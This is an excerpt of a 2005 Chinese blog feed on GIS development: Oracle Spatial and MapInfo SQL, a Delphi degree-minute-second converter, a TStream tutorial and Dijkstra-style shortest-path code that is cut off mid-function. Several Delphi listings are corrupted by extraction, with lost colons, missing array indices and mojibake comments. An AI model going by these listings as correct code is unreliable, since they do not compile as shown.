SDO_GEOM_METADATA表中:<BR>insert into SDO_GEOM_METADATA values('town','location',MDSYS.SDO_DIM_ARRAY<BR>(MDSYS.SDO_DIM_ELEMENT('X',-100.000000000,100.000000000,0.000000050),<BR>MDSYS.SDO_DIM_ELEMENT('Y',-20.000000000,20.000000000,0.000000050) ))；<BR>3.将新表增加到MAPINFO_MAPCATALOG表中:<BR>insert into MAPINFO_MAPCATALOG(SPATIALTYPE,TABLENAME,SPATIALCOLUMN,DB_X_LL,<BR>DB_Y_LL,DB_X_UR, DB_Y_UR,COORDINATESYSTEM,SYMBOL,XCOLUMNNAME,YCOLUMNNAME)<BR>valueS(13.1,'town','SYSTEM','locatin',-100,-20,100,20,'EARTH PROJECTION 1,0','SYMBOL(35,0,12)','NO_COLUMN','NO_COLUMN')；<BR>4.创建空间索引:create index lines_index on lines (location)<BR>indextype is mdsys.spatial_indexparameters ('sdo_level = 5 sdo_numtiles = 4')；&nbsp; &nbsp;&nbsp;&nbsp;5.向表中增加包含空间对象的新记录:<BR>insert into fire_hydrant values(attribute_1,?attribute_n,<BR>mdsys.sdo_geometry(1,null,mdsys.sdo_point_type(10.0,-10.0,200),null,null)；<BR>2.3 基于SQL语句的查询<BR>&nbsp; &nbsp; 将图形数据存储在空间数据库中之后，由于数据库自动维护其完整性，所以象图1和图2那样的邻接域问题就不存在了。文件管理方式下的邻接域，在数据库管理方式下可以通过SQL查询生成完整的地物显示出来。<BR>可在MapInfo Professional 环境下，通过连接Oracle8i Spatial数据库，进行基于属性或是基于空间关系的SQL查询，并下载SELECTION记录集。<BR>1.在下载的同时基于属性进行SQL查询（下载与同一村庄有关的所有属性）： <BR>Select * From Village_pop1，Village_pop2 Where Village_pop1.VillageName&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<BR>= Village_pop2.VillageName<BR>2.在下载的同时基于空间关系进行SQL查询（下载Village_Geom1、Village_Geom2表中村名相同的区域对象）：<BR>select Geom1,Geom2 into Village_Geometry from Village_Geom1, Village_Geom2<BR>where Village_Geom1.VillageName= Village_Geom2.VillageName<BR>通过上面两种方法，可以获取任意区域的数据。&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; <BR>3. 总结<BR>虽然目前解决邻接域问题的方法很多，但若要顾及到地物的空间特性、拓扑关系，如整体性、完整性、连通性等，那么将MapInfo地图数据存储到 Oracle Spatial 中将是最好的解决办法。这样不仅能在Oracle Spatial 中修改上载的MapInfo地图数据，而且能在Oracle Spatial中创建MapInfo 地图数据。通过Oracle8i（OCI（Oracle 的C调用接口））将表下载到 MapInfo 客户端后，空间对象字段同样会成为MapInfo表的一个字段，且在下载数据时，可直接基于Oracle Spatial进行空间查询和空间分析。此外还为MapInfo处理海量地图数据提供解决方案；实现在MapInfo平台上，多人同时编辑同一个图层；保证地图数据的安全。</SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=177" /> 
	  <id>http://www.openx.cn/default.asp?id=177</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[试试看]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-12-09T09:34:03+08:00</updated>
	  <published>2005-12-09T09:34:03+08:00</published>
		  <summary type="html"><![CDATA[[url=https://www.tenpay.com/cgi-bin/v1.0/button_buy.cgi?ver=2&bn=BN20051203002983&uin=23533016&merchan_name=%be%e8%cf%d7&merchan_price=1.00&merchan_url=http%3a%2f%2fwww%2eopenx%2ecn&merchan_desc=&mail_fee_bear=0&comm_mail_fee=0.00&express_mail_fee=0.00&button_style=http://qpay.qq.com/img/go_3.gif&key=OdQ9CPbgPEqQku0hTkstXRFC14U2UvQFtqVuXCARI9xSU-T9H6V8seuhGPoaWRrEYczRoTCq_UxsgxA3zlzS66TM0FlvpZb8e4a0StuqOh2Dl0HLD6jJgUxVFVNgotwx58q3Jgo9Pdp2Mussa8JlFH8NLtZyo8QKqmMStwgmPqU%3d][img]http://qpay.qq.com/img/go_3.gif[/img][/url][url=https://www.tenpay.com/cgi-bin/v1.0/button_buy.cgi?ver=2&bn=BN20051203002983&uin=23533016&merchan_name=%be%e8%cf%d7&merchan_price=1.00&merchan_url=http%3a%2f%2fwww%2eopenx%2ecn&merchan_desc=&mail_fee_bear=0&comm_mail_fee=0.00&express_mail_fee=0.00&button_style=http://qpay.qq.com/img/go_3.gif&key=OdQ9CPbgPEqQku0hTkstXRFC14U2UvQFtqVuXCARI9xSU-T9H6V8seuhGPoaWRrEYczRoTCq_UxsgxA3zlzS66TM0FlvpZb8e4a0StuqOh2Dl0HLD6jJgUxVFVNgotwx58q3Jgo9Pdp2Mussa8JlFH8NLtZyo8QKqmMStwgmPqU%3d]点此链接立即购买[/url]]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=176" /> 
	  <id>http://www.openx.cn/default.asp?id=176</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发一个度分秒格式的经纬度转浮点的函数]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-09T09:26:07+08:00</updated>
	  <published>2005-12-09T09:26:07+08:00</published>
		  <summary type="html"><![CDATA[<P>关键字:进制转换,度分秒转浮点</P>
<P>function Cxty_function(var C_valueStr: string): string; </P>
<P>var<BR>&nbsp; c_d, c_f: integer;<BR>&nbsp; c_m: Double;<BR>&nbsp; c_f_s, c_m_s: string;<BR>begin</P>
<P>&nbsp; Result := '';</P>
<P>&nbsp; if trim(C_valueStr) &lt;&gt; '' then<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c_d := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c_f := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c_m := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; C_valueStr := trim(C_valueStr);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Pos('¡ã', C_valueStr) &gt; 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c_d := strtoint(copy(C_valueStr, 0, Pos('¡ã', C_valueStr) - 1));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c_f_s := copy(C_valueStr, Pos('¡ã', C_valueStr) + 2,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; length(C_valueStr));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Pos('''', C_valueStr) &gt; 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c_f := strtoint(copy(c_f_s, 0, Pos('''', c_f_s) - 1));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c_m_s := trim(copy(C_valueStr, Pos('''', C_valueStr) + 1,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; length(C_valueStr)));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Pos('"', C_valueStr) &gt; 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if Pos('.', C_valueStr) &gt; 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c_m := strtofloat(copy(c_m_s, 0, Pos('"', c_m_s) - 1));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c_m := strtoint(copy(C_valueStr, 0, Pos('"', C_valueStr) - 1));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Result := floattostr(c_d + c_f / 60 + c_m / 3600);</P>
<P>&nbsp;&nbsp;&nbsp; end;</P>
<P>end;</P>
<P>因为开发需要最后出来的是字符型.</P>
<P>嘿嘿土吧~但好用行啦~嘿嘿,转载注明出处哦~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=175" /> 
	  <id>http://www.openx.cn/default.asp?id=175</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Mapx+Delphi做的地图切割工具]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-09T09:00:06+08:00</updated>
	  <published>2005-12-09T09:00:06+08:00</published>
		  <summary type="html"><![CDATA[<P>关键字:Mapx 地图 切割</P>
<P>[img]http://61.152.235.32/cgi-bin/dl/513FBDF7A63A1183D2DA882BB57B378361023AD6011201441B257D3A5C0FC67F0C9107E9AAD9C0D4C49386855C4ECCCFB4EBD48F0EAAD3A8D859E08EDAA333BF6D3012D3E35E13B36B80333CCEADE86864006817A6A512B06E89/Mapcut.gif[/img]</P>
<P>使用Mapinfo 的Mapx做的,但发现Mapx在导出图片的时候存在问题<BR>在导出宽度大于2500宽度大于3000的图片就会报错.<BR>我又把导出改成导到内存然后在生成,但是也不行,报错:空间不足.<BR>附件包括源代码,数据库脚本,需要的可以下载研究.<BR>如有好的改动请第一通知我谢谢!</P>
<P>运行之前需要安装Mapx,或注册它.</P>
<P><A href="http://www.openx.cn/down.asp?downID=17&action=Url_1" target=_blank>点击下载</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=174" /> 
	  <id>http://www.openx.cn/default.asp?id=174</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[在Dephi中使用TStream读写数据的技巧]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-07T12:22:08+08:00</updated>
	  <published>2005-12-07T12:22:08+08:00</published>
		  <summary type="html"><![CDATA[<P>在Dephi中提供了一个抽象的数据类型TStream来支持对流式数据的操作。这些数据通常来自文件、数据库、内存对象、OLE对象等，TStream提供了统一、简洁的方法来进行数据的读写。在通常情况下，我们并不需要直接使用TStream类，对流式数据的读写封装在VCL控件的方法中。但是如果这些方法无法满足我们的要求，就需要自己手动控制数据的读写。</P>
<P>一、 TStream的常用的方法和属性：<BR>1. function Read(var Buffer; Count: Longint): Longint; virtual; abstract<BR>2. function Write(const Buffer; Count: Longint): Longint; virtual; abstract;<BR>3. function Seek(Offset: Longint; Origin: Word): Longint; virtual; abstract;<BR>4. property Position: Longint;<BR>5. property Size: Longint<BR>Read，Write，Seek都是纯虚函数，提供了数据读写和定位的抽象的方法。Read方法将数据从Stream中读到Buffer缓冲区中，Write则实现相反的操作，返回值表示实际读写数据的大小。Seek提供了在Stream中移动数据指针的方法。参数Origin可以取soFromBeginning，soFromCurrent，soFromEnd 三个值，Offset是偏移量，返回值是当前Stream数据指针的位置。</P>
<P>Position表示了数据指针在Stream中的位置。这个属性是可读写的，它实际上就是通过调用Seek方法实现的，所以实际使用时使用这个属性更为方便一些。Size属性表示当前Stream的大小，对于不同的Stream，有些时候是只读的。<BR>二、 Stream数据的读写。<BR>1. SaveToStream(Stream: TStream ); //将类中的数据写到Stream的当前位置中<BR>2. LoadFromStream(Stream: TStream); //从当前位置读入Stream里的数据<BR>实际使用时我们基本上只要使用上面两个函数就可以了。<BR>三、 例子<BR>TStream的继承树图如图1所示(略)，实际使用时比较常用的是TFileStream，TMemoryStream，TblobStream，就以这三种流举一例说明具体用法。</P>
<P><BR>创建一个窗体Form1，放置三个按钮btnRead，btnInvert，btnSave和一个文件打开对话框OpenDialog1以及数据控件DataSource1，Table1，test.</P>
<P><BR>使用Dephi提供的Database Desktop创建一个表test，表里有一个字段域Image，数据库文件名存为test.db。在窗体上放置一个TDatabase控件dbTest，一个TTable控件Table1</P>
<P>一个DataSource控件DataSource1</P>
<P>一个TDBNavigator控件DBNavigator1。将dbTest与刚才Desktop创建的数据库相连，Table1的TableName属性设为test.db，DataSource1的DataSet属性设为Table1，DBNavigator1的DataSource属性设为DataSource1，VisibleButtons属性前四个设为TRUE。此外，将dbtest的Connected设为TRUE，Table1的Active属性设为TRUE，使得数据库一开始就处于打开状态。</P>
<P><BR>事件代码编写如下：</P>
<P><BR>1. btnRead的Click事件，这里演示了TFileStream的用法。</P>
<P><BR>var</P>
<P>MS: TFileStream;</P>
<P>begin</P>
<P>if OpenDialog1.Execute then</P>
<P>begin</P>
<P>MS:=TFileStream.Create</P>
<P>(OpenDialog1.FileName</P>
<P>fmOpenRead);</P>
<P>Image1.Picture.Bitmap.LoadFromStream(MS);</P>
<P>MS.Free;</P>
<P>end;</P>
<P>end;</P>
<P>2. btnInvert的Click事件，这里演示了TMemoryStream的用法。其中使用了Invert函数，这是一个简单的将图象反色的函数（仅对真彩图象有效），它返回一个指向处理过的图象数据块的指针。</P>
<P><BR>var</P>
<P>M</P>
<P>S: TMemoryStream;</P>
<P>pImage: pointer;</P>
<P>begin</P>
<P>MS:=TMemoryStream.create;</P>
<P>Image1.Picture.Bitmap.SaveToStream(MS);</P>
<P>MS.Position:=0;</P>
<P>pImage:=Invert(MS.Memory</P>
<P>MS.size);</P>
<P>//Memory属性是指向实际内存块的指针</P>
<P>MS.Write(pImage^</P>
<P>MS.size);</P>
<P>MS.Position:=0;</P>
<P>//上一行代码使指针移到了Stream末尾，所以要复位</P>
<P>Image1.Picture.Bitmap.LoadFromStream(MS);</P>
<P>FreeMem(pImage); </P>
<P>MS.Free;</P>
<P>end;</P>
<P><BR>Invert函数如下：</P>
<P>function TForm1.Invert</P>
<P>(pImage: pointer; size: Integer): pointer;</P>
<P>var</P>
<P>pData</P>
<P>pMem: PChar;</P>
<P>i: Integer;</P>
<P>begin</P>
<P>pMem:=AllocMem(size);</P>
<P>CopyMemory(pMem</P>
<P>pImage</P>
<P>size);</P>
<P>pData:=pMem+54;</P>
<P>for i:=0 to size-54-1 do</P>
<P>begin</P>
<P>pData^:=Char(not integer(pData^));</P>
<P>pData:=pData+1;</P>
<P>end;</P>
<P>Result:=pMem;</P>
<P>end;</P>
<P>1. btnSave的Click事件，这里演示了TMemoryStream的另一种用法，将Stream中的数据写到数据库中去。</P>
<P><BR>var</P>
<P>MS: TMemoryStream;</P>
<P>begin</P>
<P>MS:=TMemoryStream.create;</P>
<P>Image1.Picture.Bitmap.SaveToStream(MS);</P>
<P>MS.Position:=0;</P>
<P>Table1.Append;</P>
<P>//在数据库中添加一条记录</P>
<P>TBlobField(Table1.FieldbyName</P>
<P>('image')).LoadFromStream(MS);</P>
<P>Table1.Post; </P>
<P>//将所作的更新写入数据库</P>
<P>end;</P>
<P>4. DBNavigator1的Click事件，这里演示了TBlobStream的用法，使用了和写入时不同的方法来读出数据库的图象数据。</P>
<P><BR>var</P>
<P>MS: TStream;</P>
<P>begin</P>
<P>with Table1 do</P>
<P>MS:=CreateBlobStream</P>
<P>(FieldbyName('image')</P>
<P>bmRead);</P>
<P>Image1.Picture.Bitmap.</P>
<P>LoadFromStream(MS);</P>
<P>MS.Free;</P>
<P>end;<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=173" /> 
	  <id>http://www.openx.cn/default.asp?id=173</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[最短路径]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-06T14:29:32+08:00</updated>
	  <published>2005-12-06T14:29:32+08:00</published>
		  <summary type="html"><![CDATA[<P>unit short;</P>
<P>interface</P>
<P>uses<BR>&nbsp; Sysutils, Dialogs, contnrs, windows, classes;<BR>type<BR>&nbsp; Arrayinteger = array of integer;<BR>&nbsp; ArrayBoolean = array of boolean;<BR>&nbsp; Arraysingle = array of single;<BR>&nbsp; TLineInfo = record<BR>&nbsp;&nbsp;&nbsp; MUSERID: Integer;<BR>&nbsp;&nbsp;&nbsp; MFNode: integer;<BR>&nbsp;&nbsp;&nbsp; MTNode: integer;<BR>&nbsp;&nbsp;&nbsp; FTNLT: string;<BR>&nbsp;&nbsp;&nbsp; TFNLT: string;<BR>&nbsp;&nbsp;&nbsp; FTP: double;<BR>&nbsp;&nbsp;&nbsp; TFP: double;<BR>&nbsp;&nbsp;&nbsp; length: double;<BR>&nbsp;&nbsp;&nbsp; NLT: string;<BR>&nbsp; end;<BR>&nbsp; ArrayLineInfo = array of TLineInfo;</P>
<P>&nbsp; PTEdge = ^TEdge;<BR>&nbsp; TEdge = record<BR>&nbsp;&nbsp;&nbsp; AnotherNode: integer;<BR>&nbsp;&nbsp;&nbsp; LineInfTLineInfo;<BR>&nbsp;&nbsp;&nbsp; YCflag: boolean;<BR>&nbsp;&nbsp;&nbsp; JGflag: boolean;<BR>&nbsp;&nbsp;&nbsp; pNext: PTEdge;<BR>&nbsp; end;<BR>&nbsp; ArrayTpEdge = array of PTEdge;</P>
<P>type<BR>&nbsp; Tshortpath = class(TObject)<BR>&nbsp; private<BR>&nbsp; protected<BR>&nbsp;&nbsp;&nbsp; mTop: ArrayTpEdge;<BR>&nbsp;&nbsp;&nbsp; Max_size: integer;<BR>&nbsp;&nbsp;&nbsp; function CreateNode(aNode: integer; templineinfTlineinfo): PTEdge;<BR>&nbsp;&nbsp;&nbsp; procedure AddNode(idNode: integer; aNode: integer; templineinfTlineinfo);<BR>&nbsp;&nbsp;&nbsp; function GetNodeAdjNodes(NodeFID: integer; var AdjNodes: ArrayInteger):<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; boolean;<BR>&nbsp;&nbsp;&nbsp; function GetNodeAdjLines(NodeFID: integer; var AdjLines: Arraylineinfo):<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; boolean;<BR>&nbsp;&nbsp;&nbsp; function GetNodeAdjNodesLines(NodeFID: integer; var AdjNodes: ArrayInteger;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var AdjLines: Arraylineinfo): boolean;<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; function findshortpath(startnode, endnode: integer; var Anodes:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Arrayinteger; var distance: single): boolean;<BR>&nbsp;&nbsp;&nbsp; constructor Create(const ATopDataSource: ArrayLineInfo; MAXNode: integer);<BR>&nbsp;&nbsp;&nbsp; destructor Destroy; override;</P>
<P>&nbsp; end;</P>
<P>implementation</P>
<P>procedure Tshortpath.AddNode(idNode: integer; aNode: integer;<BR>&nbsp; templineinfTlineinfo);<BR>var<BR>&nbsp; pEdge: pTEdge;<BR>begin<BR>&nbsp; new(pEdge);<BR>&nbsp; pEdge.AnotherNode := aNode;<BR>&nbsp; pEdge.lineinf = templineinfo;<BR>&nbsp; pEdge.YCflag := false;<BR>&nbsp; pEdge.JGflag := false;<BR>&nbsp; pEdge.pNext := mTop[idNode];<BR>&nbsp; mTop[idNode] := pEdge;<BR>end;</P>
<P>constructor Tshortpath.Create(const ATopDataSource: ArrayLineInfo; MAXNode:<BR>&nbsp; integer);<BR>var<BR>&nbsp; fNode, tNode: integer;<BR>&nbsp; i: integer;<BR>begin<BR>&nbsp; if MAXNode &lt;= 0 then exit;<BR>&nbsp; Max_size := MAXNode;<BR>&nbsp; setlength(MTop, MAXNode + 1);<BR>&nbsp; for i := low(ATopDataSource) to high(ATopDataSource) do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fNode := ATopDataSource.MFNode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tNode := ATopDataSource.MTNode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if mTop[fNode] = nil then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mTop[fNode] := CreateNode(tNode, ATopDataSource)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddNode(fNode, tNode, ATopDataSource);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if mTop[tNode] = nil then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mTop[tNode] := CreateNode(fNode, ATopDataSource)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddNode(tNode, fNode, ATopDataSource);<BR>&nbsp;&nbsp;&nbsp; end;<BR>end;</P>
<P>function Tshortpath.CreateNode(aNode: integer; templineinfTlineinfo): pTEdge;<BR>var<BR>&nbsp; pEdge: pTEdge;<BR>begin<BR>&nbsp; new(pEdge);<BR>&nbsp; pEdge.AnotherNode := aNode;<BR>&nbsp; pEdge.lineinf = templineinfo;<BR>&nbsp; pEdge.YCflag := false;<BR>&nbsp; pEdge.JGflag := false;<BR>&nbsp; pEdge.pNext := nil;<BR>&nbsp; result := pEdge;<BR>end;</P>
<P>destructor Tshortpath.Destroy;<BR>var<BR>&nbsp; pEdge, pNextEdge: pTEdge;<BR>&nbsp; i: integer;<BR>begin<BR>&nbsp; for i := 0 to MAX_size do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pNextEdge := mTop;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while pNextEdge &lt;&gt; nil do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pEdge := pNextEdge;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pNextEdge := pNextEdge.pNext;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dispose(pEdge);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; inherited;<BR>end;</P>
<P>function Tshortpath.findshortpath(startnode, endnode: integer;<BR>&nbsp; var Anodes: Arrayinteger; var distance: single): boolean;<BR>var<BR>&nbsp; templineinfos: arraylineinfo;<BR>&nbsp; tempnode: integer;<BR>&nbsp; XLtempnode: integer;<BR>&nbsp; tempnodes: arrayinteger;<BR>&nbsp; tempAdistance: arraysingle;<BR>&nbsp; XLtempAdistance: arraysingle;<BR>&nbsp; preresultNodes: arrayinteger;<BR>&nbsp; aa, i, j, k, ii, kk: integer;<BR>&nbsp; s: single;<BR>&nbsp; min: single;<BR>&nbsp; minpoint: integer;<BR>&nbsp; narrayinteger;<BR>begin<BR>&nbsp; result := true;<BR>&nbsp; s := 0;<BR>&nbsp; k := 0;<BR>&nbsp; setlength(preresultNodes, MAX_size);<BR>&nbsp; setlength(tempAdistance, MAX_size + 1);<BR>&nbsp; setlength(XLtempAdistance, MAX_size + 1);<BR>&nbsp; for i := 0 to MAX_size do<BR>&nbsp;&nbsp;&nbsp; tempAdistance := 1E+30;<BR>&nbsp; MTop[startnode].YCflag := true;<BR>&nbsp; tempnode := startnode;<BR>&nbsp; tempAdistance[tempnode] := 0;<BR>&nbsp; preresultNodes[tempnode] := 0;<BR>&nbsp; for aa := 0 to Max_size do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not GetNodeAdjNodesLines(tempnode, tempnodes, templineinfos) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ÅÐ¶Ïµ¥ÐÐµÀ<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for j := low(templineinfos) to high(templineinfos) do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if tempnode = templineinfos[j].MFNode then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; templineinfos[j].length := templineinfos[j].FTP;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if templineinfos[j].length = 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; templineinfos[j].length := 1E+30;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; templineinfos[j].length := templineinfos[j].TFP;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if templineinfos[j].length = 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; templineinfos[j].length := 1E+30;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ÅÐ¶Ï½ûÖ¹×ªÏò<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for j := low(templineinfos) to high(templineinfos) do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if tempnode = templineinfos[j].MFNode then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if preresultNodes[tempnode] = templineinfos[j].MTNode then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 